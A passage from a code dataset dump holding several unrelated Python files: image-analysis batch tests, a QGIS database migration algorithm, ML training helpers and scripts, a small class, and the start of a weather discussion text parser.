sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n for file_path in file_paths:\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline(self, tmpdir, data_test_dir, monkeypatch, calculation_plan):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n assert os.path.exists(os.path.join(tmpdir, \"test.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 4)\n for i in range(8):\n assert os.path.basename(df.name.units[i]) == f\"stack1_component{i+1}.tif\"\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_long(self, tmpdir, data_test_dir, monkeypatch, calculation_plan_long):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))[:4]\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_long,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n res_path = os.path.join(tmpdir, \"test.xlsx\")\n assert os.path.exists(res_path)\n df = pd.read_excel(res_path, index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (4, 20 * 3 + 1)\n data, err = LoadPlanExcel.load([res_path])\n assert not err\n assert str(data[\"test\"]) == str(calculation_plan_long)\n\n df2 = pd.read_excel(res_path, header=[0, 1], engine=ENGINE, sheet_name=\"info test\")\n assert df2.shape == (154, 3)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_error(self, tmp_path, data_test_dir, monkeypatch, calculation_plan):\n data_dir = tmp_path / \"data\"\n data_dir.mkdir()\n file_pattern_copy = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*.tif\")\n file_paths = sorted(glob(file_pattern_copy))\n for el in file_paths:\n shutil.copy(el, data_dir)\n shutil.copy(data_dir / \"stack1_component1.tif\", data_dir / \"stack1_component10.tif\")\n file_pattern = os.path.join(data_dir, \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n result_dir = tmp_path / \"result\"\n result_dir.mkdir()\n\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=str(data_dir),\n result_prefix=str(data_dir),\n measurement_file_path=os.path.join(result_dir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(3)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(result_dir, \"test.xlsx\"))\n df = pd.read_excel(os.path.join(result_dir, \"test.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 4)\n for i in range(8):\n assert os.path.basename(df.name.units[i]) == f\"stack1_component{i + 1}.tif\"\n df2 = pd.read_excel(os.path.join(result_dir, \"test.xlsx\"), sheet_name=\"Errors\", index_col=0, engine=ENGINE)\n assert df2.shape == (1, 2)\n str(df2.loc[0][\"error description\"]).startswith(\"[Errno 2]\")\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_mask_project(self, tmpdir, data_test_dir, calculation_plan2):\n file_pattern = os.path.join(data_test_dir, \"*nucleus.seg\")\n file_paths = glob(file_pattern)\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test2.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan2,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(2)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(tmpdir, \"test2.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test2.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (2, 4)\n\n def test_do_calculation(self, tmpdir, data_test_dir, calculation_plan3):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n index, res = do_calculation((1, file_path), calc)\n assert index == 1\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.parametrize(\n (\"file_name\", \"root_type\"),\n [\n (os.path.join(\"stack1_components\", \"stack1_component1.tif\"), RootType.Image),\n (\"stack1_component1_1.tgz\", RootType.Image),\n (\"stack1_component1_1.tgz\", RootType.Project),\n (\"test_nucleus_1_1.seg\", RootType.Image),\n (\"test_nucleus_1_1.seg\", RootType.Mask_project),\n ],\n )\n @pytest.mark.parametrize(\"save_method\", save_dict.values())\n def test_do_calculation_save(self, tmpdir, data_test_dir, file_name, root_type, save_method: SaveBase, simple_plan):\n save_desc = Save(\n suffix=\"_test\",\n directory=\"\",\n algorithm=save_method.get_name(),\n short_name=save_method.get_short_name(),\n values=save_method.get_default_values(),\n )\n plan = simple_plan(root_type, save_desc)\n file_path = os.path.join(data_test_dir, file_name)\n calc = Calculation(\n [file_path],\n base_prefix=os.path.dirname(file_path),\n result_prefix=tmpdir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=plan,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n def test_do_calculation_calculation_process(self, tmpdir, data_test_dir, calculation_plan3):\n file_path = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component1.tif\")\n calc = Calculation(\n [file_path],\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_component_split_no_process(self, tmpdir, data_test_dir, monkeypatch, calculation_plan3):\n monkeypatch.setattr(batch_backend, \"CalculationProcess\", MockCalculationProcess)\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = sorted(glob(file_pattern))\n assert os.path.basename(file_paths[0]) == \"stack1_component1.tif\"\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n for file_path in file_paths:\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert isinstance(res, list)\n assert isinstance(res[0], ResponseData)\n\n @pytest.mark.filterwarnings(\"ignore:This method will be removed\")\n def test_full_pipeline_component_split(self, tmpdir, data_test_dir, calculation_plan3):\n file_pattern = os.path.join(data_test_dir, \"stack1_components\", \"stack1_component*[0-9].tif\")\n file_paths = glob(file_pattern)\n calc = Calculation(\n file_paths,\n base_prefix=data_test_dir,\n result_prefix=data_test_dir,\n measurement_file_path=os.path.join(tmpdir, \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan3,\n voxel_size=(1, 1, 1),\n )\n\n manager = CalculationManager()\n manager.set_number_of_workers(2)\n manager.add_calculation(calc)\n wait_for_calculation(manager)\n\n assert os.path.exists(os.path.join(tmpdir, \"test3.xlsx\"))\n df = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), index_col=0, header=[0, 1], engine=ENGINE)\n assert df.shape == (8, 10)\n df2 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=1, index_col=0, header=[0, 1], engine=ENGINE)\n assert df2.shape[0] > 8\n assert df2.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 6)\n df3 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=2, index_col=0, header=[0, 1], engine=ENGINE)\n assert df3.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 6)\n df4 = pd.read_excel(os.path.join(tmpdir, \"test3.xlsx\"), sheet_name=3, index_col=0, header=[0, 1], engine=ENGINE)\n assert df4.shape == (df[\"Segmentation Components Number\"][\"count\"].sum(), 8)\n\n @pytest.mark.usefixtures(\"_prepare_mask_project_data\")\n @pytest.mark.usefixtures(\"_register_dummy_extraction\")\n def test_fail_single_mask_project(self, tmp_path, calculation_plan_dummy):\n file_path = str(tmp_path / \"test.seg\")\n calc = Calculation(\n [file_path],\n base_prefix=str(tmp_path),\n result_prefix=str(tmp_path),\n measurement_file_path=str(tmp_path / \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_dummy,\n voxel_size=(1, 1, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path, calc))\n assert len(res) == 4\n assert sum(isinstance(x, ResponseData) for x in res) == 3\n assert isinstance(next(iter(dropwhile(lambda x: isinstance(x, ResponseData), res)))[0], ValueError)\n\n @pytest.mark.usefixtures(\"_prepare_spacing_data\")\n @pytest.mark.usefixtures(\"_register_dummy_spacing\")\n def test_spacing_overwrite(self, tmp_path, calculation_plan_dummy_spacing):\n file_path1 = str(tmp_path / \"test1.tiff\")\n file_path2 = str(tmp_path / \"test2.tiff\")\n calc = Calculation(\n [file_path1, file_path2],\n base_prefix=str(tmp_path),\n result_prefix=str(tmp_path),\n measurement_file_path=str(tmp_path / \"test3.xlsx\"),\n sheet_name=\"Sheet1\",\n calculation_plan=calculation_plan_dummy_spacing,\n voxel_size=(3, 2, 1),\n )\n calc_process = CalculationProcess()\n res = calc_process.do_calculation(FileCalculation(file_path1, calc))\n assert len(res) == 1\n assert isinstance(res[0], ResponseData)\n calc.overwrite_voxel_size = True\n res = calc_process.do_calculation(FileCalculation(file_path2, calc))\n assert len(res) == 1\n assert isinstance(res[0], ResponseData)\n\n\nclass MockCalculationProcess(CalculationProcess):\n def do_calculation(self, calculation: FileCalculation):\n if os.path.basename(calculation.file_path) == \"stack1_component1.tif\":\n time.sleep(0.5)\n return super().do_calculation(calculation)\n\n\nclass TestSheetData:\n def test_create(self):\n cols = [(\"aa\", \"nm\"), (\"bb\", \"nm\")]\n sheet_data = SheetData(\"test_name\", cols)\n assert \"test_name\" in repr(sheet_data)\n assert str(cols) in repr(sheet_data)\n assert \"wait_rows=0\" in repr(sheet_data)\n\n def test_add_data(self):\n cols = [(\"aa\", \"nm\"), (\"bb\", \"nm\")]\n sheet_data = SheetData(\"test_name\", cols)\n with pytest.raises(ValueError, match=\"Wrong number of columns\"):\n sheet_data.add_data([\"aa\", 1, 2, 3], None)\n\n with pytest.raises(ValueError, match=\"Wrong number of columns\"):\n sheet_data.add_data([\"aa\", 1], None)\n\n sheet_data.add_data([\"aa\", 1, 2], None)\n assert \"wait_rows=1\" in repr(sheet_data)\n\n assert sheet_data.get_data_to_write()[0] == \"test_name\"\n assert \"wait_rows=0\" in repr(sheet_data)\n","sub_path":"package/tests/test_PartSegCore/test_analysis_batch.py","file_name":"test_analysis_batch.py","file_ext":"py","file_size_in_byte":32803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"92210345","text":"\"\"\"\nCreated on Tue May 26 17:13:50 2020\n\n@author: enolasengeissen\n\"\"\"\n\n__copyright__ = \"Copyright 2020, 3Liz\"\n__license__ = \"GPL version 3\"\n__email__ = \"info@3liz.org\"\n__revision__ = \"$Format:%H$\"\n\nimport os\n\nfrom qgis.core import (\n QgsProcessingException,\n QgsProcessingParameterString,\n QgsProcessingParameterBoolean,\n QgsProcessingOutputNumber,\n QgsProcessingOutputString,\n QgsExpressionContextUtils,\n)\n\nfrom ...qgis_plugin_tools.tools.algorithm_processing import BaseProcessingAlgorithm\nfrom ...qgis_plugin_tools.tools.database import (\n available_migrations,\n fetch_data_from_sql_query,\n)\nfrom ...qgis_plugin_tools.tools.i18n import tr\nfrom ...qgis_plugin_tools.tools.resources import plugin_path\nfrom ...qgis_plugin_tools.tools.version import format_version_integer, version\n\nSCHEMA = \"veloroutes\"\n\n\nclass UpgradeDatabaseStructure(BaseProcessingAlgorithm):\n\n CONNECTION_NAME = \"CONNECTION_NAME\"\n RUN_MIGRATIONS = \"RUN_MIGRATIONS\"\n OUTPUT_STATUS = \"OUTPUT_STATUS\"\n OUTPUT_STRING = \"OUTPUT_STRING\"\n\n def name(self):\n return \"upgrade_database_structure\"\n\n def displayName(self):\n return tr(\"Mise à jour de la structure de la base\")\n\n def group(self):\n return tr(\"Structure\")\n\n def groupId(self):\n return \"veloroutes_structure\"\n\n def shortHelpString(self):\n return tr(\n \"Mise à jour de la base de données suite à une nouvelle version de l'extension.\"\n )\n\n def initAlgorithm(self, config):\n # INPUTS\n connection_name = QgsExpressionContextUtils.globalScope().variable(\n \"veloroutes_connection_name\"\n )\n db_param_a = QgsProcessingParameterString(\n self.CONNECTION_NAME,\n tr(\"Connexion PostgreSQL vers la base de données\"),\n defaultValue=connection_name,\n optional=False,\n )\n db_param_a.setMetadata(\n {\n \"widget_wrapper\": {\n \"class\": \"processing.gui.wrappers_postgis.ConnectionWidgetWrapper\"\n }\n }\n )\n self.addParameter(db_param_a)\n\n self.addParameter(\n QgsProcessingParameterBoolean(\n self.RUN_MIGRATIONS,\n tr(\"Cocher cette option pour lancer la mise-à-jour.\"),\n defaultValue=False,\n optional=False,\n )\n )\n # OUTPUTS\n self.addOutput(\n QgsProcessingOutputNumber(self.OUTPUT_STATUS, tr(\"Output status\"))\n )\n self.addOutput(\n QgsProcessingOutputString(self.OUTPUT_STRING, tr(\"Output message\"))\n )\n\n def checkParameterValues(self, parameters, context):\n # Check if run migrations is checked\n run_migrations = self.parameterAsBool(parameters, self.RUN_MIGRATIONS, context)\n if not run_migrations:\n msg = tr(\"Vous devez cocher cette case pour réaliser la mise à jour !\")\n return False, msg\n\n # Check database content\n ok, msg = self.checkSchema(parameters, context)\n if not ok:\n return False, msg\n\n return super().checkParameterValues(parameters, context)\n\n def checkSchema(self, parameters, context):\n _ = context\n sql = \"\"\"\n SELECT schema_name\n FROM information_schema.schemata\n WHERE schema_name = '{}';\n \"\"\".format(\n SCHEMA\n )\n connection_name = self.parameterAsString(\n parameters, self.CONNECTION_NAME, context\n )\n _, data, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n return ok, error_message\n\n ok = False\n msg = tr(\"Le schéma {} n'existe pas dans la base de données !\").format(SCHEMA)\n for a in data:\n schema = a[0]\n if schema == SCHEMA:\n ok = True\n msg = \"\"\n return ok, msg\n\n def processAlgorithm(self, parameters, context, feedback):\n connection_name = self.parameterAsString(\n parameters, self.CONNECTION_NAME, context\n )\n\n # Drop schema if needed\n run_migrations = self.parameterAsBool(parameters, self.RUN_MIGRATIONS, context)\n if not run_migrations:\n msg = tr(\"Vous devez cocher cette case pour réaliser la mise à jour !\")\n raise QgsProcessingException(msg)\n\n # Get database version\n sql = \"\"\"\n SELECT me_version\n FROM {}.metadata\n WHERE me_status = 1\n ORDER BY me_version_date DESC\n LIMIT 1;\n \"\"\".format(\n SCHEMA\n )\n _, data, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n raise QgsProcessingException(error_message)\n\n db_version = None\n for a in data:\n db_version = a[0]\n if not db_version:\n error_message = tr(\"Aucune version trouvée dans la base de données !\")\n raise QgsProcessingException(error_message)\n\n feedback.pushInfo(\n tr(\"Version de la base de données\") + \" = {}\".format(db_version)\n )\n\n # Get plugin version\n plugin_version = version()\n if plugin_version in [\"master\", \"dev\"]:\n migrations = available_migrations(000000)\n last_migration = migrations[-1]\n plugin_version = (\n last_migration.replace(\"upgrade_to_\", \"\").replace(\".sql\", \"\").strip()\n )\n feedback.reportError(\n \"Be careful, running the migrations on a development branch!\"\n )\n feedback.reportError(\n \"Latest available migration is {}\".format(plugin_version)\n )\n else:\n feedback.pushInfo(tr(\"Version du plugin\") + \" = {}\".format(plugin_version))\n\n # Return if nothing to do\n if db_version == plugin_version:\n return {\n self.OUTPUT_STATUS: 1,\n self.OUTPUT_STRING: tr(\n \" La version de la base de données et du plugin sont les mêmes. \"\n \"Aucune mise-à-jour n'est nécessaire\"\n ),\n }\n\n db_version_integer = format_version_integer(db_version)\n sql_files = available_migrations(db_version_integer)\n\n # Loop sql files and run SQL code\n for sf in sql_files:\n sql_file = os.path.join(plugin_path(), \"install/sql/upgrade/{}\".format(sf))\n with open(sql_file, \"r\") as f:\n sql = f.read()\n if len(sql.strip()) == 0:\n feedback.pushInfo(\"* \" + sf + \" -- NON TRAITÉ (FICHIER VIDE)\")\n continue\n\n # Add SQL database version in veloroutes.metadata\n new_db_version = (\n sf.replace(\"upgrade_to_\", \"\").replace(\".sql\", \"\").strip()\n )\n feedback.pushInfo(\"* NOUVELLE VERSION BDD \" + new_db_version)\n sql += \"\"\"\n UPDATE {}.metadata\n SET (me_version, me_version_date)\n = ( '{}', now()::timestamp(0) );\n \"\"\".format(\n SCHEMA, new_db_version\n )\n\n _, _, _, ok, error_message = fetch_data_from_sql_query(\n connection_name, sql\n )\n if not ok:\n raise QgsProcessingException(error_message)\n\n feedback.pushInfo(\"* \" + sf + \" -- OK !\")\n\n # Everything is fine, we now update to the plugin version\n sql = \"\"\"\n UPDATE {}.metadata\n SET (me_version, me_version_date)\n = ( '{}', now()::timestamp(0) );\n \"\"\".format(\n SCHEMA, plugin_version\n )\n\n _, _, _, ok, error_message = fetch_data_from_sql_query(connection_name, sql)\n if not ok:\n raise QgsProcessingException(error_message)\n\n msg = tr(\"*** LA STRUCTURE A BIEN ÉTÉ MISE À JOUR SUR LA BASE DE DONNÉES ***\")\n feedback.pushInfo(msg)\n\n return {self.OUTPUT_STATUS: 1, self.OUTPUT_STRING: msg}\n","sub_path":"veloroutes_voies_vertes/processing/structure/upgrade_database_structure.py","file_name":"upgrade_database_structure.py","file_ext":"py","file_size_in_byte":8206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"402682140","text":"# -*- coding:utf-8 -*- \n'''\n * @Author: wjm \n * @Date: 2019-06-14 11:37:40 \n * @Last Modified by: wjm \n * @Last Modified time: 2019-06-14 11:37:40 \n * @Desc: \n'''\nimport os\nimport time\nimport datetime\nimport torch\nimport math\n\ndef get_path(subdir):\n return os.path.join(subdir)\n\ndef save_config(args):\n now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n open_type = 'a' if os.path.exists(get_path('./log/config.txt'))else 'w'\n with open(get_path('./log/config.txt'), open_type) as f:\n f.write(now + '\\n\\n')\n for arg in vars(args):\n f.write('{}: {}\\n'.format(arg, getattr(args, arg)))\n f.write('\\n')\n\ndef write_log(log, refresh=False):\n print(log)\n# now = datetime.datetime.now().strftime('%Y-%m-%d-%H:%M:%S')\n open_type = 'a' if os.path.exists(get_path('./log/log.txt'))else 'w'\n log_file = open(get_path('./log/log.txt'), open_type)\n# log_file.write(now + '\\n\\n')\n log_file.write(str(log) + '\\n')\n if refresh:\n log_file.close()\n log_file = open(get_path('./log/log.txt'), 'a')\n\ndef checkpoint(opt, epoch, model):\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n# model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n torch.save(model.state_dict(), model_out_path)\n log = \"Checkpoint saved to {}\".format(model_out_path)\n write_log(log)\n\ndef checkpoint_best(opt, epoch, model):\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n# model_out_path = opt.save_folder+'/'+opt.model_type+\"_epoch_{}.pth\".format(epoch)\n model_out_path = opt.save_folder+'/Best.pth'\n torch.save(model.state_dict(), model_out_path)\n log = \"Checkpoint saved to {}\".format(model_out_path)\n write_log(log)\n\ndef check_opt(opt):\n if not os.path.exists('log'):\n os.mkdir('log')\n if not os.path.exists(opt.save_folder):\n os.mkdir(opt.save_folder)\n if os.listdir(opt.save_folder) and not opt.pretrained:\n raise ValueError('The save_folder is not empty!')\n if opt.pretrained and not os.path.exists(opt.pretrained_mode_folder):\n raise ValueError('The pretrained_mode is needed!')\n if not os.path.exists(os.path.join(opt.data_dir,opt.hr_train_dataset)):\n raise ValueError('The hr_train_dataset is needed!')\n if not os.path.exists(os.path.join(opt.data_dir,opt.hr_valid_dataset)):\n raise ValueError('The hr_valid_dataset is needed!') \n ","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"463650697","text":"import pandas\nfrom xgboost import XGBClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import preprocessing\n\n\ndef standardize(data):\n \"\"\"\n This standardizes the data into the MinMaxReduced version used for model creation\n \"\"\"\n columns = data.columns.values[0:len(data.columns.values)]\n # Create the Scaler object\n scaler = preprocessing.MinMaxScaler()\n # Fit your data on the scaler object\n dataScaled = scaler.fit_transform(dataset)\n dataScaled = pandas.DataFrame(dataScaled, columns=columns)\n return dataScaled\n\n\ndataset = pandas.read_csv(\"../Data/High School Football Data_cleaned.csv\")\ndataset = dataset.drop(['ID'], axis=1)\n\ndataset = standardize(dataset)\n\n# Creating X and Y. Accident is the first column, therefore it is 0.\nX = dataset.iloc[:, 1:(len(dataset.columns) + 1)].values # Our independent variables\nY = dataset.iloc[:, 0].values # Our dependent variable\n\nX_train, X_test, y_train, y_test = train_test_split(X, Y, test_size=.30, random_state=7)\n# fit model no training data\nmodel = XGBClassifier()\nmodel.fit(X_train, y_train)\n# make predictions for test data\ny_pred = model.predict(X_test)\npredictions = [round(value) for value in y_pred]\n# evaluate predictions\naccuracy = accuracy_score(y_test, predictions)\nprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n","sub_path":"Code/XGBoost.py","file_name":"XGBoost.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"307886201","text":"class Conference:\n conference_num = 0\n\n def __init__(self, name=\"default_name\",\n members_num=0,\n ticket_price=0,\n place=\"default_place\",\n topic=\"default_topic\",\n duration=\"default_duration\",\n speakers_num=0):\n self.name = name\n self.members_num = members_num\n self.ticket_price = ticket_price\n self.place = place\n self.topic = topic\n self.duration = duration\n self.speakers_num = speakers_num\n\n def get_object_string(self):\n return str(self.__dict__)\n\n @staticmethod\n def get_conference_num():\n return Conference.conference_num\n\n def __del__(self):\n print(self.name, \"deleted\")\n","sub_path":"Conference.py","file_name":"Conference.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"477492389","text":"from __future__ import print_function\nimport sys\nimport numpy as np\nfrom datetime import datetime as dt\nfrom sklearn.gaussian_process import GaussianProcessRegressor as GPR\nfrom preprocess import read_data, data2grid, take_n_last_days\n\ndef test(model, X_test, y_test):\n print('Testing...', end='')\n sys.stdout.flush()\n score = model.score(X_test, y_test)\n print(' R-squared: %f' % score)\n return score\n\ndef train_and_test(X, y):\n #scaler = preprocessing.StandardScaler().fit(X)\n #X = scaler.transform(X)\n #yesterday = scaler.transform([[0,0,int(dt.utcnow().strftime('%s'))-(3600*24)]])[0][2]\n minx = np.min(X)\n X = (X-np.min(X))/3600\n yesterday = (int(dt.utcnow().strftime('%s'))-(3600*24)-minx)/3600\n #time = X[:,2]\n X_train = X[X < yesterday]\n X_test = X[X >= yesterday]\n y_train = y[X < yesterday]\n y_test = y[X >= yesterday]\n if len(X_test) == 0:\n print('zero sized test set, skipping')\n return None\n if len(X_train) == 0:\n print('zero sized train set, skipping')\n return None\n\n\n gpr = GPR(normalize_y=True, copy_X_train=False, n_restarts_optimizer=10, alpha=0.001)\n print('Training (n train %d, n test %d)...' % (len(X_train),len(X_test)), end='')\n sys.stdout.flush()\n model = gpr.fit(X_train.reshape(-1,1), y_train)\n print(' Done')\n\n score = test(model, X_test.reshape(-1,1), y_test)\n\n return (model, score, len(X_train))\n\ndata = read_data()\n\ndays = 2\ndata = take_n_last_days(data, days)\ngrid = data2grid(data)\n\nmodels = [[None]*180]*90\nscores = np.zeros([1,2])\nfor x in list(enumerate(grid)):\n for y in list(enumerate(x[1])):\n d = y[1]\n if len(d) == 0:\n continue\n print('(%d, %d)' % (x[0]*2-90, y[0]*2-180))\n curmod = train_and_test(d[:,2], d[:,3])\n if curmod:\n models[x[0]][y[0]] = curmod\n scores = np.append(scores, [[curmod[1], curmod[2]]], axis=0)\n\nscores = np.delete(scores, 0, axis=0)\nprint(' Done')\nprint('')\nprint('used last %d days of data for training' % days)\nprint('models trained: %d' % len(scores))\nprint('avg train set size per model: %f, min %d, max %d' % (np.mean(scores[:,1]), np.min(scores[:,1]), np.max(scores[:,1])))\nprint('total R-squared median: %f' % np.median(scores[:,0]))\n\n#data = data[data[:,0].argsort()] # sort by latitude\n#data = np.array_split(data, n_models, axis=0)\n#metadata = np.asarray([(a.min(axis=0)[0],a.max(axis=0)[0]) for a in data])\n#data = data[data[:,2].argsort()] # sort by time\n","sub_path":"backend/traingaussian-grid.py","file_name":"traingaussian-grid.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"435652829","text":"'''\n Supports parsing of Storm Prediction Center's MCD and\n parsing of Weather Prediction Center's MPD\n'''\nimport re\nimport cgi\n\nfrom pyiem.nws.product import TextProduct\nfrom shapely.geometry import Polygon as ShapelyPolygon\nfrom shapely.geometry import MultiPolygon\n\nLATLON = re.compile(r\"LAT\\.\\.\\.LON\\s+((?:[0-9]{8}\\s+)+)\")\nDISCUSSIONNUM = re.compile(r\"MESOSCALE (?:PRECIPITATION )?DISCUSSION\\s+([0-9]+)\")\nATTN_WFO = re.compile(r\"ATTN\\.\\.\\.WFO\\.\\.\\.([\\.A-Z]*?)(?:LAT\\.\\.\\.LON|ATTN\\.\\.\\.RFC)\")\nATTN_RFC = re.compile(r\"ATTN\\.\\.\\.RFC\\.\\.\\.([\\.A-Z]*)\")\nWATCH_PROB = re.compile(r\"PROBABILITY OF WATCH ISSUANCE\\s?\\.\\.\\.\\s?([0-9]+) PERCENT\")\n\nclass MCDException(Exception):\n ''' Exception '''\n pass\n\nclass MCDProduct( TextProduct ):\n '''\n Represents a Storm Prediction Center Mesoscale Convective Discussion\n '''\n \n def __init__(self, text):\n ''' constructor '''\n TextProduct.__init__(self, text)\n self.geometry = self.parse_geometry()\n self.discussion_num = self.parse_discussion_num()\n self.attn_wfo = self.parse_attn_wfo()\n self.attn_rfc = self.parse_attn_rfc()\n self.areas_affected = self.parse_areas_affected()\n self.watch_prob = self.find_watch_probability()\n \n def find_watch_probability(self):\n ''' Find the probability of watch issuance for SPC MCD'''\n tokens = WATCH_PROB.findall( self.unixtext.replace(\"\\n\", \"\"))\n if len(tokens) == 0:\n return None\n return int(tokens[0])\n \n def tweet(self):\n ''' Return twitter message '''\n charsleft = 140 - 22 # default safe 22 for t.co shortening\n if self.afos == 'SWOMCD':\n center = 'SPC'\n else:\n center = 'WPC'\n prob_extra = \"\"\n if self.watch_prob is not None:\n prob_extra = \" [watch prob: %.0f%%]\" % (self.watch_prob,)\n attempt = \"#%s issues %s %s%s: %s \" % (center, self.afos[3:], \n self.discussion_num, prob_extra, \n self.areas_affected)\n return \"%s%s\" % (attempt[:charsleft], self.get_url())\n \n def get_url(self):\n ''' Return the URL for SPC's website '''\n if self.afos == 'SWOMCD':\n return \"http://www.spc.noaa.gov/products/md/%s/md%04i.html\" % (\n self.valid.year, self.discussion_num)\n else:\n return ('http://www.wpc.ncep.noaa.gov/metwatch/'\n +'metwatch_mpd_multi.php?md=%s&yr=%s') % (\n self.discussion_num,\n self.valid.year)\n \n def parse_areas_affected(self):\n ''' Return the areas affected '''\n 